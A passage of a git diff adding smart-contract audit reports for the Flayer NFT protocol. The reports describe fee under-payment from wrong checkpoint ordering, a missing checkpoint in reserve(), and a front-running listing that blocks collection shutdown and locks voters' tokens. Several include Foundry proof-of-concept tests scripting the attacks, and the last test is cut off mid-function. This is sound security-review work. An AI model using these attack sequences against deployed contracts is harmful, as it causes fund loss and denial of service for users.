+ for (uint i; i < _tokenIdsLength; ++i) {
+ locker.withdrawToken(_collection, _tokenIds[i], address(this));
+ }
+
+ // Approve sudoswap pair factory to use our NFTs
+ collection.setApprovalForAll(address(pairFactory), true);
+
+ // Map our collection to a newly created pair
+ address pool = _createSudoswapPool(collection, _tokenIds);
+
+ // Set the token IDs that have been sent to our sweeper pool
+ params.sweeperPoolTokenIds = _tokenIds;
+ sweeperPoolCollection[pool] = _collection;
+
+ // Update our collection parameters with the pool
+ params.sweeperPool = pool;
+
+ // Prevent the collection from being executed again
+ params.canExecute = false;
+ emit CollectionShutdownExecuted(_collection, pool, _tokenIds);
+ }
+```
+
+### Mitigation
+
+It is recommendation to add check of shutdownPrevented in execute() and vote().
\ No newline at end of file
diff --git a/001/243.md b/001/243.md
new file mode 100644
index 0000000..536f737
--- /dev/null
+++ b/001/243.md
@@ -0,0 +1,158 @@
+Ripe Zinc Duck
+
+High
+
+# User can pay less protected listing fees.
+
+## Summary
+`ProtectedListings.unlockProtectedListing()` function create checkpoint after decrease `listingCount[_collection]`.
+Therefore, when user unlock multiple protected listings, user will pay less fees for the second and thereafter listings than the first listing.
+
+## Vulnerability Detail
+`ProtectedListings.unlockProtectedListing()` function is following.
+```solidity
+ function unlockProtectedListing(address _collection, uint _tokenId, bool _withdraw) public lockerNotPaused {
+ // Ensure this is a protected listing
+ ProtectedListing memory listing = _protectedListings[_collection][_tokenId];
+
+ // Ensure the caller owns the listing
+ if (listing.owner != msg.sender) revert CallerIsNotOwner(listing.owner);
+
+ // Ensure that the protected listing has run out of collateral
+ int collateral = getProtectedListingHealth(_collection, _tokenId);
+ if (collateral < 0) revert InsufficientCollateral();
+
+ // cache
+ ICollectionToken collectionToken = locker.collectionToken(_collection);
+ uint denomination = collectionToken.denomination();
+ uint96 tokenTaken = _protectedListings[_collection][_tokenId].tokenTaken;
+
+ // Repay the loaned amount, plus a fee from lock duration
+ uint fee = unlockPrice(_collection, _tokenId) * 10 ** denomination;
+ collectionToken.burnFrom(msg.sender, fee);
+
+ // We need to burn the amount that was paid into the Listings contract
+ collectionToken.burn((1 ether - tokenTaken) * 10 ** denomination);
+
+ // Remove our listing type
+311: unchecked { --listingCount[_collection]; }
+
+ // Delete the listing objects
+ delete _protectedListings[_collection][_tokenId];
+
+ // Transfer the listing ERC721 back to the user
+ if (_withdraw) {
+ locker.withdrawToken(_collection, _tokenId, msg.sender);
+ emit ListingAssetWithdraw(_collection, _tokenId);
+ } else {
+ canWithdrawAsset[_collection][_tokenId] = msg.sender;
+ }
+
+ // Update our checkpoint to reflect that listings have been removed
+325: _createCheckpoint(_collection);
+
+ // Emit an event
+ emit ListingUnlocked(_collection, _tokenId, fee);
+ }
+```
+As can be seen, the above function decrease `listingCount[_collection]` in `L311` before creating checkpoint in `L325`.
+However, creating checkpoint uses utilization rate and the utilization rate depends on `listingCount[_collection]`.
+Since `listingCount[_collection]` is already decreased at `L311`, the utilization rate is calculated incorrect and so the checkpoint will be incorrect.
+
+PoC:
+Add the following test code into `ProtectedListings.t.sol`.
+```solidity
+ function test_unlockProtectedListingError() public {
+ erc721a.mint(address(this), 0);
+ erc721a.mint(address(this), 1);
+
+ erc721a.setApprovalForAll(address(protectedListings), true);
+
+ uint[] memory _tokenIds = new uint[](2); _tokenIds[0] = 0; _tokenIds[1] = 1;
+
+ // create protected listing for tokenId = 0 and tokenId = 1
+ IProtectedListings.CreateListing[] memory _listings = new IProtectedListings.CreateListing[](1);
+ _listings[0] = IProtectedListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIds,
+ listing: IProtectedListings.ProtectedListing({
+ owner: payable(address(this)),
+ tokenTaken: 0.4 ether,
+ checkpoint: 0
+ })
+ });
+ protectedListings.createListings(_listings);
+
+ vm.warp(block.timestamp + 7 days);
+
+ // unlock protected listing for tokenId = 0
+ assertEq(protectedListings.unlockPrice(address(erc721a), 0), 402485479451875840);
+ locker.collectionToken(address(erc721a)).approve(address(protectedListings), 402485479451875840);
+ protectedListings.unlockProtectedListing(address(erc721a), 0, true);
+
+ // unlock protected listing for tokenId = 0, but the unlock price for tokenId = 1 is 402055890410801920 < 402485479451875840 for tokenId = 0.
+ assertEq(protectedListings.unlockPrice(address(erc721a), 1), 402055890410801920);
+ locker.collectionToken(address(erc721a)).approve(address(protectedListings), 402055890410801920);
+ protectedListings.unlockProtectedListing(address(erc721a), 1, true);
+ }
+```
+In the above test code, we can see that user paid less fees for tokenId = 1 than tokenId = 0.
+
+## Impact
+Users will pay less fees. It meanas loss of funds for the protocol.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L287-L329
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Change the order of decreasing `listingCount[_collection]` and creating checkpoint in `ProtectedListings.unlockProtectedListing()` function as follows.
+```solidity
+ function unlockProtectedListing(address _collection, uint _tokenId, bool _withdraw) public lockerNotPaused {
+ // Ensure this is a protected listing
+ ProtectedListing memory listing = _protectedListings[_collection][_tokenId];
+
+ // Ensure the caller owns the listing
+ if (listing.owner != msg.sender) revert CallerIsNotOwner(listing.owner);
+
+ // Ensure that the protected listing has run out of collateral
+ int collateral = getProtectedListingHealth(_collection, _tokenId);
+ if (collateral < 0) revert InsufficientCollateral();
+
+ // cache
+ ICollectionToken collectionToken = locker.collectionToken(_collection);
+ uint denomination = collectionToken.denomination();
+ uint96 tokenTaken = _protectedListings[_collection][_tokenId].tokenTaken;
+
+ // Repay the loaned amount, plus a fee from lock duration
+ uint fee = unlockPrice(_collection, _tokenId) * 10 ** denomination;
+ collectionToken.burnFrom(msg.sender, fee);
+
+ // We need to burn the amount that was paid into the Listings contract
+ collectionToken.burn((1 ether - tokenTaken) * 10 ** denomination);
+
+ // Remove our listing type
+-- unchecked { --listingCount[_collection]; }
+
+ // Delete the listing objects
+ delete _protectedListings[_collection][_tokenId];
+
+ // Transfer the listing ERC721 back to the user
+ if (_withdraw) {
+ locker.withdrawToken(_collection, _tokenId, msg.sender);
+ emit ListingAssetWithdraw(_collection, _tokenId);
+ } else {
+ canWithdrawAsset[_collection][_tokenId] = msg.sender;
+ }
+
+ // Update our checkpoint to reflect that listings have been removed
+ _createCheckpoint(_collection);
+++ unchecked { --listingCount[_collection]; }
+
+ // Emit an event
+ emit ListingUnlocked(_collection, _tokenId, fee);
+ }
+```
diff --git a/001/244.md b/001/244.md
new file mode 100644
index 0000000..79a877b
--- /dev/null
+++ b/001/244.md
@@ -0,0 +1,374 @@
+Quick Honey Dove
+
+Medium
+
+# It is possible to prevent the execution of the `execute()` function, listing only one NFT.
+
+### Summary
+
+It Is possible for everyone to front-run the calls to the `execute()` function, by listing an NFT in the `Listings.sol` contract, right after the quorum is reached.
+
+
+### Root Cause
+
+In the `CollectionShutdown.sol`, there is the possibility to start a voting system to delete a specific collection from the platform.
+The logic of the voting system is simple:
+There is a quorum to reach.
+After that, it is possible to call the `execute()` function that will delete the collection.
+
+The function that will initialize this voting system is the `start()` function that is possible to check here [`CollectionShutdown.sol:135`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L135).
+
+Supposing that the Voting system for a collection starts, and the quorum is reached.
+
+At this point, the Owner of the `CollectionShutdown.sol` contract, could call the `execute()` function to delete the collection from the platform, [`CollectionShutdown.sol:231`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L231).
+
+In the meantime, a malicious actor who doesn't want the collection will be deleted lists an NFT of the same collection, [`Listings.sol:130`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L130).
+
+At this point, when the Owner of the `CollectionShutdown.sol` tries to call the `execute()` function, there is a call on the `_hasListing()` function to check if the collection is listed [`CollectionShutdown.sol:241`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L241).
+The collection is listed, so the `execute` function will go in revert due to the previous check.
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+There are 2 different users:
+User2, Hacker
+
+1) Hacker creates and initializes Collection with 10 NFTs.
+2) User2 owns the same NFTs (5 in total) and after some time, wants to start a voting system to delete the collection from the platform.
+3) User2 calls `start()` in `CollectionShutdown.sol` and reaches the quorum to delete the collection.
+4) Hacker has one more NFT, and lists it in `Listings.sol`
+5) Owner of `CollectionShutdown.sol` calls the `execute()`
+6) Reverts, due to the `_hasListing()` check, that attests that there is one token listed already.
+
+### Impact
+
+Everyone can prevent the execution of the `execute()` function.
+This will make the voting system useless
+
+### PoC
+
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.22;
+
+import {stdStorage, StdStorage, Test} from 'forge-std/Test.sol';
+import {ProxyAdmin, ITransparentUpgradeableProxy} from "@openzeppelin/contracts/proxy/transparent/ProxyAdmin.sol";
+import {TransparentUpgradeableProxy} from "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
+import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
+import {CollectionToken} from "@flayer/CollectionToken.sol";
+import {FlayerTest} from "../lib/FlayerTest.sol";
+import {LockerManager} from "../../src/contracts/LockerManager.sol";
+import {Locker} from "../../src/contracts/Locker.sol";
+import {Listings} from "../../src/contracts/Listings.sol";
+import {ProtectedListings} from "../../src/contracts/ProtectedListings.sol";
+import {TaxCalculator} from "../../src/contracts/TaxCalculator.sol";
+import {WETH9} from '../lib/WETH.sol';
+import {ERC721Mock} from '../mocks/ERC721Mock.sol';
+import {ERC721MyMock} from '../mocks/ERC721MyMock.sol';
+import {UniswapImplementation} from '@flayer/implementation/UniswapImplementation.sol';
+import {PoolManager} from "@uniswap/v4-core/src/PoolManager.sol";
+import {ICollectionToken} from "../../src/interfaces/ICollectionToken.sol";
+import {Clones} from '@openzeppelin/contracts/proxy/Clones.sol';
+import {PoolKey} from '@uniswap/v4-core/src/types/PoolKey.sol';
+import {IPoolManager, PoolManager, Pool} from '@uniswap/v4-core/src/PoolManager.sol';
+import {PoolIdLibrary, PoolId} from '@uniswap/v4-core/src/types/PoolId.sol';
+import {CurrencyLibrary} from "../../lib/v4-core/src/types/Currency.sol";
+import {LinearRangeCurve} from '@flayer/lib/LinearRangeCurve.sol';
+import {CollectionShutdown} from '@flayer/utils/CollectionShutdown.sol';
+import {ICollectionShutdown} from "../../src/interfaces/utils/ICollectionShutdown.sol";
+import {IListings} from "../../src/interfaces/IListings.sol";
+import "forge-std/console.sol";
+
+
+contract CollectionTokenProxyTest is Test {
+
+ using PoolIdLibrary for PoolKey;
+
+ address RANGE_CURVE;
+ address payable PAIR_FACTORY = payable(0xA020d57aB0448Ef74115c112D18a9C231CC86000);
+ address payable internal _proxy;
+ ProxyAdmin internal _proxyAdmin;
+
+ CollectionToken internal _collectionTokenV1Impl;
+ CollectionToken internal _collectionTokenV1;
+ TransparentUpgradeableProxy _collectionTokenV1Proxy;
+
+ LockerManager lockerManager;
+ Locker locker;
+ Listings listings;
+ ProtectedListings protListings;
+ TaxCalculator calculator;
+ WETH9 WETH;
+ ERC721Mock erc721a;
+ ERC721MyMock erc721MyA;
+ PoolManager poolManager;
+ UniswapImplementation uniswapImplementation;
+ CollectionShutdown collectionShutdown;
+ address payable public constant VALID_LOCKER_ADDRESS = payable(0x57D88D547641a626eC40242196F69754b25D2FCC);
+
+
+
+ // Address that interacts
+ address owner;
+ address user1;
+ address user2;
+ address hacker;
+
+
+ function setUp() public {
+ owner = vm.addr(4);
+ user1 = vm.addr(1);
+ user2 = vm.addr(2);
+ hacker = vm.addr(4);
+
+ vm.deal(owner, 1000 ether);
+ vm.deal(user1, 1000 ether);
+ vm.deal(user2, 1000 ether);
+ vm.deal(hacker, 1000 ether);
+
+
+ //Deploy Contracts
+ deployAllContracts();
+
+ vm.prank(user1);
+ WETH.deposit{value: 100 ether}();
+
+ vm.prank(user2);
+ WETH.deposit{value: 100 ether}();
+
+ vm.prank(hacker);
+ WETH.deposit{value: 100 ether}();
+
+ }
+ // ================= Listings.sol =====================
+
+
+ function test_ListBeforeExecute()public{
+
+ // Hacker creates a collection.
+ vm.startPrank(hacker);
+
+ address newCollectionToken = locker.createCollection(address(erc721a), "Mock", "MOCK", 0);
+
+ uint256[] memory path = new uint256[](10);
+
+ // Hacker approves 10 tokens to the locker contract to initialize the collection.
+ for(uint i = 0; i < 10; i++){
+ path[i] = i;
+ erc721a.approve(address(locker), i);
+ }
+
+ WETH.approve(address(locker), 10 ether);
+
+
+ // Hacker initialize the collection and send to locker 10 ERC721a. Hacker owns only one more out of the platform.
+ locker.initializeCollection(address(erc721a), 1 ether, path, path.length * 1 ether, 158456325028528675187087900672);
+ vm.stopPrank();
+
+
+
+
+
+ // To call the start() function, user2 must deposit first to get collectionTokens to vote.
+ vm.startPrank(user2);
+
+ // Approve TOKEN IDS To locker contract
+ uint[] memory path2 = new uint[](10);
+
+ uint iterations = 0;
+
+ for(uint i = 11; i < 21; i++){
+ erc721a.approve(address(locker), i);
+ path2[iterations] = i;
+ iterations++;
+ }
+
+
+ // User2 deposit and get collectionTokens in ratio 1:1
+ locker.deposit(address(erc721a), path2);
+
+ console.log("User2 CollectionToken Balance, BEFORE start a votation", CollectionToken(newCollectionToken).balanceOf(user2));
+
+
+
+ // User2 approves CollectionTokens to the collectionShutdown contract to start a vote.
+ CollectionToken(newCollectionToken).approve(address(collectionShutdown), CollectionToken(newCollectionToken).balanceOf(user2));
+
+
+ // User2 calls the start() function
+ collectionShutdown.start(address(erc721a));
+
+
+ console.log("User2 CollectionToken Balance, AFTER start a votation", CollectionToken(newCollectionToken).balanceOf(user2));
+ console.log("");
+
+
+
+ // Check Params to calls execute() function.
+ ICollectionShutdown.CollectionShutdownParams memory params = collectionShutdown.collectionParams(address(erc721a));
+
+ console.log("shutdownVotes", params.shutdownVotes);
+ console.log("quorumVotes", params.quorumVotes);
+ console.log("canExecute", params.canExecute);
+ console.log("availableClaim", params.availableClaim);
+
+ vm.stopPrank();
+
+
+
+
+ // Hacker sees that the quorum is reached, and decide to deposit the other token that he owns, and list it.
+ vm.startPrank(hacker);
+
+ // Approves token ID 10, to listing contract
+ erc721a.approve(address(listings), 10);
+ uint[] memory path3 = new uint[](1);
+ path3[0] = 10;
+
+
+
+ // Listings Paramenter
+ IListings.Listing memory newListingsBaseParameter = listings.listings(address(erc721a), 10);
+ newListingsBaseParameter.owner = payable(hacker);
+ newListingsBaseParameter.duration = uint32(5 days);
+ newListingsBaseParameter.created = uint40(block.timestamp);
+ newListingsBaseParameter.floorMultiple = 10_00;
+
+
+ // Listings Paramenter
+ IListings.CreateListing memory listingsParams;
+ listingsParams.collection = address(erc721a);
+ listingsParams.tokenIds = path3;
+ listingsParams.listing = newListingsBaseParameter;
+
+ // Listings Paramenter
+ IListings.CreateListing[] memory listingsParamsCorrect = new IListings.CreateListing[](1);
+ listingsParamsCorrect[0] = listingsParams;
+
+
+ // Hacker creates a Listing for the collection erc721a
+ listings.createListings(listingsParamsCorrect);
+ vm.stopPrank();
+
+
+
+
+ //Delete collection is impossible, due to hasListing error.
+ vm.prank(owner);
+ vm.expectRevert();
+ collectionShutdown.execute(address(erc721a), path);
+ }
+
+
+ function deployAllContracts()internal{
+
+
+ // Deploy Collection Token
+ vm.startPrank(owner);
+
+ _proxyAdmin = new ProxyAdmin();
+
+ bytes memory data = abi.encodeWithSignature("initialize(string,string,uint256)", "TokenName", "TKN", 10);
+
+ _collectionTokenV1Impl = new CollectionToken();
+ _collectionTokenV1Proxy = new TransparentUpgradeableProxy(
+ address(_collectionTokenV1Impl),
+ address(_proxyAdmin),
+ data
+ );
+
+ _collectionTokenV1 = CollectionToken(address(_collectionTokenV1Proxy));
+ assertEq(_collectionTokenV1.name(), "TokenName");
+
+
+ // Deploy LockerManager
+ lockerManager = new LockerManager();
+
+ // Deploy Locker
+ locker = new Locker(address(_collectionTokenV1Impl), address(lockerManager));
+
+ // Deploy Listings
+ listings = new Listings(locker);
+
+ // Deploy ProtectedListings
+ protListings = new ProtectedListings(locker, address(listings));
+
+
+ // Deploy RANGE_CURVE
+ RANGE_CURVE = address(new LinearRangeCurve());
+
+
+ // Deploy TaxCalculator
+ calculator = new TaxCalculator();
+
+
+ // Deploy CollectionShutdown
+ collectionShutdown = new CollectionShutdown(locker, PAIR_FACTORY, RANGE_CURVE);
+
+
+ // Deploy PoolManager
+ poolManager = new PoolManager(500000);
+
+
+ // Deploy WETH
+ WETH = new WETH9();
+
+
+ // Deploy ERC721 Contract
+ erc721a = new ERC721Mock();
+
+
+ //// Deploy ERC721 Malicious Contract
+ //erc721MyA = new ERC721MyMock(address(locker));
+
+
+ // Uniswap Implementation
+ deployCodeTo('UniswapImplementation.sol', abi.encode(address(poolManager), address(locker), address(WETH)), VALID_LOCKER_ADDRESS);
+ uniswapImplementation = UniswapImplementation(VALID_LOCKER_ADDRESS);
+ uniswapImplementation.initialize(locker.owner());
+
+
+ // First settings for the contracts
+ listings.setProtectedListings(address(protListings));
+
+ locker.setListingsContract(payable(address(listings)));
+ locker.setTaxCalculator(address(calculator));
+ locker.setCollectionShutdownContract(payable(address(collectionShutdown)));
+ locker.setImplementation(address(uniswapImplementation));
+
+ lockerManager.setManager(address(listings), true);
+ lockerManager.setManager(address(protListings), true);
+ lockerManager.setManager(address(collectionShutdown), true);
+
+
+ // Mint some tokens ERC721 for user1 and hacker
+ for(uint i = 0; i < 11; i++){
+ erc721a.mint(hacker, i);
+ }
+
+
+ for(uint i = 11; i < 21; i++){
+ erc721a.mint(user2, i);
+ }
+
+
+ // erc721a id 10 For the hacker
+ erc721a.mint(user1, 21);
+
+
+ vm.stopPrank();
+ }
+}
+
+```
+
+### Mitigation
+
+Perform a check to prevent a collection that is up for deletion from being listed
\ No newline at end of file
diff --git a/001/245.md b/001/245.md
new file mode 100644
index 0000000..f9eb145
--- /dev/null
+++ b/001/245.md
@@ -0,0 +1,72 @@
+Flaky Sable Hamster
+
+Medium
+
+# `createCheckpoint()` is not called at the end of the listing:reserve()
+
+## Summary
+`createCheckpoint()` is not called at the end of the listing:reserve()
+
+## Vulnerability Detail
+User can reserve a listed token using `listing:reserve()`, which create a `protectedListing` for that tokenId.
+```solidity
+function reserve(address _collection, uint _tokenId, uint _collateral) public nonReentrant lockerNotPaused {
+...
+ // Create a protected listing, taking only the tokens
+ uint[] memory tokenIds = new uint[](1);
+ tokenIds[0] = _tokenId;
+ IProtectedListings.CreateListing[] memory createProtectedListing = new IProtectedListings.CreateListing[](1);
+ createProtectedListing[0] = IProtectedListings.CreateListing({
+ collection: _collection,
+ tokenIds: tokenIds,
+ listing: IProtectedListings.ProtectedListing({
+ owner: payable(address(this)),
+ tokenTaken: uint96(1 ether - _collateral),
+ checkpoint: 0 // Set in the `createListings` call
+ })
+ });
+
+ // Create our listing, receiving the ERC20 into this contract
+@> protectedListings.createListings(createProtectedListing);
+
+ // We should now have received the non-collateral assets, which we will burn in
+ // addition to the amount that the user sent us.
+@> collectionToken.burn((1 ether - _collateral) * 10 ** collectionToken.denomination());
+
+ // We can now transfer ownership of the listing to the user reserving it
+ protectedListings.transferOwnership(_collection, _tokenId, payable(msg.sender));
+ }
+```
+reserve() doesn't call the `createCheckpoint()` at the end of the function. Lets see why this is an issue:
+
+It creates a protectedListing of that token in `ProtectedListing.sol`, which creates the checkPoint. But the problem is, there is collectionToken burn after the creation of protectedListing(see above code) & this token burn is not included in above created `checkPoint`.
+
+And createCheckpoint() calculates the `utilizationRate`, which is dependent on the `totalSupply` of the collectionToken. Here we are not calling `createCheckpoint()`, means this token burn will not be included in `utilizationRate`
+```solidity
+ function utilizationRate(address _collection) public view virtual returns (uint listingsOfType_, uint utilizationRate_) {
+...
+ // If we have no totalSupply, then we have a zero percent utilization
+@> uint totalSupply = collectionToken.totalSupply();
+ if (totalSupply != 0) {
+@> utilizationRate_ = (listingsOfType_ * 1e36 * 10 ** collectionToken.denomination()) / totalSupply;
+ }
+ }
+ }
+```
+
+
+## Impact
+checkpoint/utilizationRate will not be correctly updated
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L748C8-L760C1
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L271C3-L274C14
+
+## Tool used
+Manual Review
+
+## Recommendation
+Add this line at the end of the reserve()
+```diff
++ protectedListings.createCheckpoint(collection);
+```
\ No newline at end of file
diff --git a/001/246.md b/001/246.md
new file mode 100644
index 0000000..40002ae
--- /dev/null
+++ b/001/246.md
@@ -0,0 +1,404 @@
+Quick Honey Dove
+
+High
+
+# Users that vote in `CollectionShutdown.sol`, can lose all their collection tokens.
+
+### Summary
+
+If a user votes to delete a collection, there is a risk that can lose all the collectionTokens used to vote.
+When a quorum is reached, there is the possibility to set in a kind of DoS the `CollectionShutdown.sol` contract and don't execute any tx like: `execute()`, `claim()`, `claimAndVote()`, `reclaimVote()`.
+
+### Root Cause
+
+In the `CollectionShutdown.sol`, there is the possibility to start a voting system to delete a specific collection from the platform.
+The logic of the voting system is simple:
+There is a quorum to reach.
+After that, it is possible to call the `execute()` function that will delete the collection.
+
+The function that will initialize this voting system is the `start()` function that is possible to check here [`CollectionShutdown.sol:135`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L135).
+
+Supposing that the Voting system for a collection starts, and the quorum is reached.
+
+At this point, the Owner of the `CollectionShutdown.sol` contract, could call the `execute()` function to delete the collection from the platform, [`CollectionShutdown.sol:231`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L231).
+
+In the meantime, a malicious actor who doesn't want the collection will be deleted lists an NFT of the same collection, [`Listings.sol:130`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L130).
+
+At this point, when the Owner of the `CollectionShutdown.sol` tries to call the `execute()` function, there is a call on the `_hasListing()` function to check if the collection is listed [`CollectionShutdown.sol:241`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L241).
+The collection is listed, so the `execute` function will go in revert due to the previous check.
+
+At this point, the tokens are locked in the `CollectionShutdown.sol` contract, that it is not able to call the `execute()` function.
+
+The Users that vote on the proposal, can try to get back tokens using the `reclaimVote()` function, but due to this check the tx goes in revert [`CollectionShutdown.sol:356`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L356).
+
+At the same time, the user could try to call the `voteAndClaim()` function, but due to this check, [`CollectionShutdown.sol:326`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L326), it will go in revert.
+
+
+The same thing happens, if the user tries to call the `claim()` function, [`CollectionShutdown.sol:292`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L292)
+
+
+As it is possible to see, any interaction is locked, and the users that spent collectionTokens to vote remains with nothing due to a kind of DoS for this collection.
+This can be repeated for every collection.
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+There are 2 different users:
+User2, Hacker
+
+1) Hacker creates and initializes Collection with 10 NFTs.
+2) User2 owns the same NFTs (5 in total) and after some time, wants to start a voting system to delete the collection from the platform.
+3) User2 calls `start()` in `CollectionShutdown.sol` and reaches the quorum to delete the collection.
+4) Hacker has one more NFT, and lists it in `Listings.sol`.
+
+==== REVERTS STARTS ====
+5) Owner of `CollectionShutdown.sol` calls the `execute()`.
+6) Reverts, due to the `_hasListing()` check, that attests that there is one token listed already.
+
+7) Users try to call `claim()` function but it reverts.
+8) Users try to call `voteAndClaim()` function but it reverts.
+9) Users try to call `reclaimVote()` function but it reverts.
+
+
+
+### Impact
+
+ 1) Kind of DoS on specific collections
+ 2) Users who vote lose their CollectionTokens.
+
+### PoC
+
+```solidity
+
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.22;
+
+import {stdStorage, StdStorage, Test} from 'forge-std/Test.sol';
+import {ProxyAdmin, ITransparentUpgradeableProxy} from "@openzeppelin/contracts/proxy/transparent/ProxyAdmin.sol";
+import {TransparentUpgradeableProxy} from "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
+import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
+import {CollectionToken} from "@flayer/CollectionToken.sol";
+import {FlayerTest} from "../lib/FlayerTest.sol";
+import {LockerManager} from "../../src/contracts/LockerManager.sol";
+import {Locker} from "../../src/contracts/Locker.sol";
+import {Listings} from "../../src/contracts/Listings.sol";
+import {ProtectedListings} from "../../src/contracts/ProtectedListings.sol";
+import {TaxCalculator} from "../../src/contracts/TaxCalculator.sol";
+import {WETH9} from '../lib/WETH.sol';
+import {ERC721Mock} from '../mocks/ERC721Mock.sol';
+import {ERC721MyMock} from '../mocks/ERC721MyMock.sol';
+import {UniswapImplementation} from '@flayer/implementation/UniswapImplementation.sol';
+import {PoolManager} from "@uniswap/v4-core/src/PoolManager.sol";
+import {ICollectionToken} from "../../src/interfaces/ICollectionToken.sol";
+import {Clones} from '@openzeppelin/contracts/proxy/Clones.sol';
+import {PoolKey} from '@uniswap/v4-core/src/types/PoolKey.sol';
+import {IPoolManager, PoolManager, Pool} from '@uniswap/v4-core/src/PoolManager.sol';
+import {PoolIdLibrary, PoolId} from '@uniswap/v4-core/src/types/PoolId.sol';
+import {CurrencyLibrary} from "../../lib/v4-core/src/types/Currency.sol";
+import {LinearRangeCurve} from '@flayer/lib/LinearRangeCurve.sol';
+import {CollectionShutdown} from '@flayer/utils/CollectionShutdown.sol';
+import {ICollectionShutdown} from "../../src/interfaces/utils/ICollectionShutdown.sol";
+import {IListings} from "../../src/interfaces/IListings.sol";
+import "forge-std/console.sol";
+
+
+contract CollectionTokenProxyTest is Test {
+
+ using PoolIdLibrary for PoolKey;
+
+ address RANGE_CURVE;
+ address payable PAIR_FACTORY = payable(0xA020d57aB0448Ef74115c112D18a9C231CC86000);
+ address payable internal _proxy;
+ ProxyAdmin internal _proxyAdmin;
+
+ CollectionToken internal _collectionTokenV1Impl;
+ CollectionToken internal _collectionTokenV1;
+ TransparentUpgradeableProxy _collectionTokenV1Proxy;
+
+ LockerManager lockerManager;
+ Locker locker;
+ Listings listings;
+ ProtectedListings protListings;
+ TaxCalculator calculator;
+ WETH9 WETH;
+ ERC721Mock erc721a;
+ ERC721MyMock erc721MyA;
+ PoolManager poolManager;
+ UniswapImplementation uniswapImplementation;
+ CollectionShutdown collectionShutdown;
+ address payable public constant VALID_LOCKER_ADDRESS = payable(0x57D88D547641a626eC40242196F69754b25D2FCC);
+
+
+
+ // Address that interacts
+ address owner;
+ address user1;
+ address user2;
+ address hacker;
+
+
+ function setUp() public {
+ owner = vm.addr(4);
+ user1 = vm.addr(1);
+ user2 = vm.addr(2);
+ hacker = vm.addr(4);
+
+ vm.deal(owner, 1000 ether);
+ vm.deal(user1, 1000 ether);
+ vm.deal(user2, 1000 ether);
+ vm.deal(hacker, 1000 ether);
+
+
+ //Deploy Contracts
+ deployAllContracts();
+
+ vm.prank(user1);
+ WETH.deposit{value: 100 ether}();
+
+ vm.prank(user2);
+ WETH.deposit{value: 100 ether}();
+
+ vm.prank(hacker);
+ WETH.deposit{value: 100 ether}();
+
+ }
+function test_ListBeforeExecuteAndUsersLostCollectionTokens()public{
+
+ // Hacker creates a collection.
+ vm.startPrank(hacker);
+
+ address newCollectionToken = locker.createCollection(address(erc721a), "Mock", "MOCK", 0);
+
+ uint256[] memory path = new uint256[](10);
+
+ // Hacker approves 10 tokens to the locker contract to initialize the collection.
+ for(uint i = 0; i < 10; i++){
+ path[i] = i;
+ erc721a.approve(address(locker), i);
+ }
+
+ WETH.approve(address(locker), 10 ether);
+
+
+ // Hacker initialize the collection and send to locker 10 ERC721a. Hacker owns only one more out of the platform.
+ locker.initializeCollection(address(erc721a), 1 ether, path, path.length * 1 ether, 158456325028528675187087900672);
+ vm.stopPrank();
+
+
+
+
+
+ // To call start() function, user2 must deposit first in order to get collectionTokens to vote.
+ vm.startPrank(user2);
+
+ // Approve TOKEN IDS To locker contract
+ uint[] memory path2 = new uint[](10);
+
+ uint iterations = 0;
+
+ for(uint i = 11; i < 21; i++){
+ erc721a.approve(address(locker), i);
+ path2[iterations] = i;
+ iterations++;
+ }
+
+
+ // User2 deposit and get collectionTokens in ratio 1:1
+ locker.deposit(address(erc721a), path2);
+
+ console.log("User2 CollectionToken Balance, BEFORE start a votation", CollectionToken(newCollectionToken).balanceOf(user2));
+
+
+
+ // User2 approves CollectionTokens to the collectionShutdown contract to start a vote.
+ CollectionToken(newCollectionToken).approve(address(collectionShutdown), CollectionToken(newCollectionToken).balanceOf(user2));
+
+
+ // User2 calls the start() function
+ collectionShutdown.start(address(erc721a));
+
+
+ console.log("User2 CollectionToken Balance, AFTER start a votation", CollectionToken(newCollectionToken).balanceOf(user2));
+ console.log("");
+
+
+
+ // Check Params to calls execute() function.
+ ICollectionShutdown.CollectionShutdownParams memory params = collectionShutdown.collectionParams(address(erc721a));
+
+ console.log("shutdownVotes", params.shutdownVotes);
+ console.log("quorumVotes", params.quorumVotes);
+ console.log("canExecute", params.canExecute);
+ console.log("availableClaim", params.availableClaim);
+
+ vm.stopPrank();
+
+
+
+
+ // Hacker sees that the quorum is reached, and decide to deposit the other token that he owns, and list it.
+ vm.startPrank(hacker);
+
+ // Approves token ID 10, to listing contract
+ erc721a.approve(address(listings), 10);
